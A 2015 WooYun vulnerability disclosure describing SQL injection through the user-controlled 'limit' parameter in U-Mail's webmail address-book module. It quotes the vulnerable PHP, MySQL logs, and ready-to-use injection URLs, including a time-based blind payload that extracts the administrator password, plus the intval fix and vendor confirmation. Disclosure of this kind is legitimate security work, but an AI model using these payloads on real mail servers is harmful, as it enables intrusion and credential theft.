当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-093712

漏洞标题:U-Mail邮件系统注入(SQL Injections in MySQL LIMIT clause案例)

相关厂商:U-Mail

漏洞作者: Ano_Tom

提交时间:2015-01-29 11:42

修复时间:2015-04-29 11:44

公开时间:2015-04-29 11:44

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-29: 细节已通知厂商并且等待厂商处理中
2015-02-02: 厂商已经确认,细节仅向厂商公开
2015-02-05: 细节向第三方安全合作伙伴开放
2015-03-29: 细节向核心白帽子及相关领域专家公开
2015-04-08: 细节向普通白帽子公开
2015-04-18: 细节向实习白帽子公开
2015-04-29: 细节向公众公开

简要描述:

SQL Injections in MySQL LIMIT clause,恰巧该邮件系统这处存在缺陷,刚好来个案例展示,通过注入可以获取管理员密码

详细说明:

漏洞产生的原因,sql语句中的limit由用户可控,其处理不当因而导致了sql注入的产生
漏洞文件/client/oab/module/operates.php 代码为

if ( ACTION == "member-get" )
{
$dept_id = gss( $_GET['dept_id'] );
$dept_id = intval( $dept_id );//此处不传入该变量
$keyword = gss( $_GET['keyword'] );
$page = $_GET['page'] ? gss( $_GET['page'] ) : 1;
$limit = $_GET['limit'] ? gss( $_GET['limit'] ) : 25;//此处的limit可控,不传入的话其值为25
$orderby = gss( $_GET['orderby'] );
$is_reverse = gss( $_GET['is_reverse'] );
$data_cache = $Department->getDepartmentByDomainID( $domain_id, "dept_id,name,parent_id,`order`", 0 );
$department_list = create_array( $data_cache, "dept_id", "name" );
$Tree = $Department->getTreeObject( );
$Tree->set_data_cache( $data_cache );
$Tree->sort_data( -1, 1 );
$where = "t1.CalendarOnly='0'";
if ( $dept_id && $dept_id != "-1" )
{
$dept_ids = $Tree->get_child_id( $dept_id );
$user_ids = $Department->getMailboxIDByDepartmentID( $dept_ids, 0 );
$where .= " AND t1.UserID IN (".$user_ids.")";
}
else
{
$dept_permit = get_session( "dept_permit" );
if ( $dept_permit == "1" )
{
$where_map = "user_id='".$user_id."'";
$arr_tmp = $Department->get_map( array(
"fields" => "*",
"where" => $where_map,
"orderby" => "dept_id",
"debug" => 0
) );
}
else if ( $dept_permit == "-1" )
{
$where_permit = "domain_id='".$domain_id."' AND user_id='".$user_id."'";
$arr_tmp = $Department->get_deptpermit( array(
"fields" => "*",
"where" => $where_permit,
"debug" => 0
) );
}
if ( $arr_tmp )
{
$dept_arr = array( );
foreach ( $arr_tmp as $arr )
{
$dept_arr[] = $Tree->get_child_id( $arr['dept_id'] );
}
$dept_ids = implode( ",", $dept_arr );
}
if ( $dept_ids )
{
$user_ids = $Department->getMailboxIDByDepartmentID( $dept_ids, 0 );
$where .= " AND t1.UserID IN (".$user_ids.")";
}
}
if ( $keyword )
{
if ( strpos( $keyword, "@" ) )
{
$key_tmp = explode( "@", $keyword );
$keyword = $key_tmp[0];
}
$where .= " AND (t1.FullName LIKE \"%".$keyword."%\" OR t1.Mailbox LIKE \"%".$keyword."%\")";
}
switch ( $orderby )
{
case "fullname" :
......
case "email" :
$orderby = "t1.Mailbox";
break;
$orderby = "";
}
$arr_tmp = $Mailbox->getMailboxInfo( $domain_id, $where, $page, $limit, $orderby, $is_reverse, 0 );//todo 分析该函数


其中$Mailbox->getMailboxInfo()函数里的逻辑如下,代码在/admin/lib/Mailbox.php

public function getMailboxInfo( $_obfuscate_AkPSczrCIu40, $_obfuscate_IRFhnYwÿ = "", $_obfuscate_AedrEgÿÿ = "", $_obfuscate_xvYeh9Iÿ = "", $_obfuscate_tUi30UB0e88ÿ = "", $_obfuscate_u5srL4rM3PZJLvpPhQÿÿ = FALSE, $_obfuscate_ySeUHBwÿ = FALSE )
{
$_obfuscate_AkPSczrCIu40 = intval( $_obfuscate_AkPSczrCIu40 );
$_obfuscate_zbtFQY92OYenSG9u = "t1.DomainID='".$_obfuscate_AkPSczrCIu40."' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0";
if ( $_obfuscate_IRFhnYwÿ )
{
$_obfuscate_zbtFQY92OYenSG9u .= " AND ".$_obfuscate_IRFhnYwÿ;
}
if ( $_obfuscate_xvYeh9Iÿ )
{
if ( $_obfuscate_AedrEgÿÿ )
{
$_obfuscate_mV9HBLYÿ = $_obfuscate_AedrEgÿÿ * $_obfuscate_xvYeh9Iÿ - $_obfuscate_xvYeh9Iÿ;
}
if ( $_obfuscate_mV9HBLYÿ )
{
$_obfuscate_UFlHiZJcJu6DQBFE = "LIMIT ".$_obfuscate_mV9HBLYÿ.",".$_obfuscate_xvYeh9Iÿ;
}
else
{
$_obfuscate_UFlHiZJcJu6DQBFE = "LIMIT ".$_obfuscate_xvYeh9Iÿ;//此处将获取的limit拼接志sql语句,只需要控制相应的参数为空即可
}
}
if ( $_obfuscate_tUi30UB0e88ÿ )
{
$_obfuscate_5e2O0TiivW7ec4cÿ = "ORDER BY ".$_obfuscate_tUi30UB0e88ÿ;
if ( $_obfuscate_u5srL4rM3PZJLvpPhQÿÿ )
{
$_obfuscate_5e2O0TiivW7ec4cÿ .= " DESC";
}
$_obfuscate_5e2O0TiivW7ec4cÿ .= ",t1.FullName ASC";
}
else
{
$_obfuscate_5e2O0TiivW7ec4cÿ = "ORDER BY t1.OrderNo DESC,t1.Mailbox ASC";
}
$_obfuscate_mGXfswsMZQÿÿ = "SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*\r\n\t\t\t\tFROM ".$this->get_table_name( "mailbox" )." as t1, ".$this->get_table_name( "info" )." as t2\r\n\t\t\t\tWHERE ".$_obfuscate_zbtFQY92OYenSG9u."\r\n\t\t\t\t".$_obfuscate_5e2O0TiivW7ec4cÿ;
$_obfuscate_YdwIclUMQÿÿ = $_obfuscate_mGXfswsMZQÿÿ." ".$_obfuscate_UFlHiZJcJu6DQBFE;
if ( $_obfuscate_ySeUHBwÿ )
{
dump( $_obfuscate_YdwIclUMQÿÿ );
}
$_obfuscate_MbMfEtWGUpEscGl = $this->db_count( $_obfuscate_mGXfswsMZQÿÿ );
unset( $_obfuscate_1LzzW8sGEkLaizkÿ );
$_obfuscate_6RYLWQÿÿ = $this->db_select( $_obfuscate_YdwIclUMQÿÿ, "more" );
return array(
"count" => $_obfuscate_MbMfEtWGUpEscGl,
"data" => $_obfuscate_6RYLWQÿÿ
);
}


该函数的调用过程为,http://mail.fuck.com/webmail/client/oab/index.php?module=operate&action=member-get
普通用户登录后,执行该请求,查看sql的执行过程如下

150124 13:53:59	 2772 Query	SELECT DomainName from domains
2772 Query SELECT UserID, Mailbox, FullName, MailDir, Password, AutoDecode, IsForwarding, AllowAccess, AllowChangeViaEmail, KeepForwardedMail, HideFromEveryone, EncryptMail, ApplyQuotas, EnableMultiPop, CanModifyGAB, CalendarOnly, MaxMessageCount, MaxDiskSpace, UserList.DomainID, Domains.DomainName, Domains.DomainID FROM UserList, Domains WHERE UserList.DomainID=Domains.DomainID AND FullName = 'mdaemon server' AND DomainName = 'fuck.com'
2772 Query SELECT DomainName from domains
2772 Query SELECT * FROM Domains
2880 Connect umail@localhost on
2880 Query SET NAMES 'UTF8'
2880 Init DB umail
2880 Query SELECT dept_id,name,parent_id,`order` FROM oab_department WHERE domain_id='1' ORDER BY `order`,`dept_id`
2880 Query SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*
FROM userlist as t1, mailuserinfo as t2
WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.CalendarOnly='0'
ORDER BY t1.OrderNo DESC,t1.Mailbox ASC
2880 Query SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*
FROM userlist as t1, mailuserinfo as t2
WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.CalendarOnly='0'
ORDER BY t1.OrderNo DESC,t1.Mailbox ASC LIMIT 25


即LIMIT 25处是用户可控的,我们在url请求中添加limit变量,继续提交sql语句为http://mail.fuck.com/webmail/client/oab/index.php?module=operate&action=member-get&limit=1,1+PROCEDURE+analyse(extractvalue(rand(),concat(0x3a,version())),1)
查看sql语句执行的情况如下

150124 14:06:57	 2888 Connect	umail@localhost on 
2888 Query SET NAMES 'UTF8'
2888 Init DB umail
2888 Query SELECT dept_id,name,parent_id,`order` FROM oab_department WHERE domain_id='1' ORDER BY `order`,`dept_id`
2888 Query SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*
FROM userlist as t1, mailuserinfo as t2
WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.CalendarOnly='0'
ORDER BY t1.OrderNo DESC,t1.Mailbox ASC
2888 Query SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*
FROM userlist as t1, mailuserinfo as t2
WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.CalendarOnly='0'
ORDER BY t1.OrderNo DESC,t1.Mailbox ASC LIMIT 1,1 PROCEDURE analyse(extractvalue(rand(),concat(0x3a,version())),1)
2888 Quit


如图

a.png


成功插入,由于该邮件系统默认关闭了错误回显,因而我们无法直接查看结果,本地sql执行的情况为

b.png


所以如想继续获取敏感信息,我们利用盲注即可,构造获取管理员密码的exp为
http://mail.fuck.com/webmail/client/oab/index.php?module=operate&action=member-get&limit=1,1 PROCEDURE analyse(extractvalue(rand(),concat(0x3a,(if(ascii(substr((select password from userlist where userid=2),1,1))=97, BENCHMARK(50000000,SHA1(1)),1)))),1)

c.png


sql语句为

150124 14:43:21	 2911 Connect	umail@localhost on 
2911 Query SET NAMES 'UTF8'
2911 Init DB umail
2911 Query SELECT dept_id,name,parent_id,`order` FROM oab_department WHERE domain_id='1' ORDER BY `order`,`dept_id`
2911 Query SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*
FROM userlist as t1, mailuserinfo as t2
WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.CalendarOnly='0'
ORDER BY t1.OrderNo DESC,t1.Mailbox ASC
2911 Query SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*
FROM userlist as t1, mailuserinfo as t2
WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.CalendarOnly='0'
ORDER BY t1.OrderNo DESC,t1.Mailbox ASC LIMIT 1,1 PROCEDURE analyse(extractvalue(rand(),concat(0x3a,(if(ascii(substr((select password from userlist where userid=2),1,1))=97, BENCHMARK(50000000,SHA1(1)),1)))),1)


d.png


ok,这样即可获取管理员密码,并不鸡肋,从而获得整个邮件系统的权限了,在继续对邮件系统进行查找,发现其他三处并不存在注入,虽然limit可控,但执行了intval处理,因而不存在缺陷,如图

e.png


关于limit的注入,查看社区文章http://zone.wooyun.org/content/18220 (原版链接https://rateip.com/blog/sql-injections-in-mysql-limit-clause/)感谢转载翻译的作者“五道口杀气”以及原作者() :)

漏洞证明:

如上

修复方案:

进行intval处理

版权声明:转载请注明来源 Ano_Tom@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2015-02-02 10:36

厂商回复:

CNVD确认所述情况,已经由CNVD通过以往建立的处置渠道向软件生产厂商通报。

最新状态:

暂无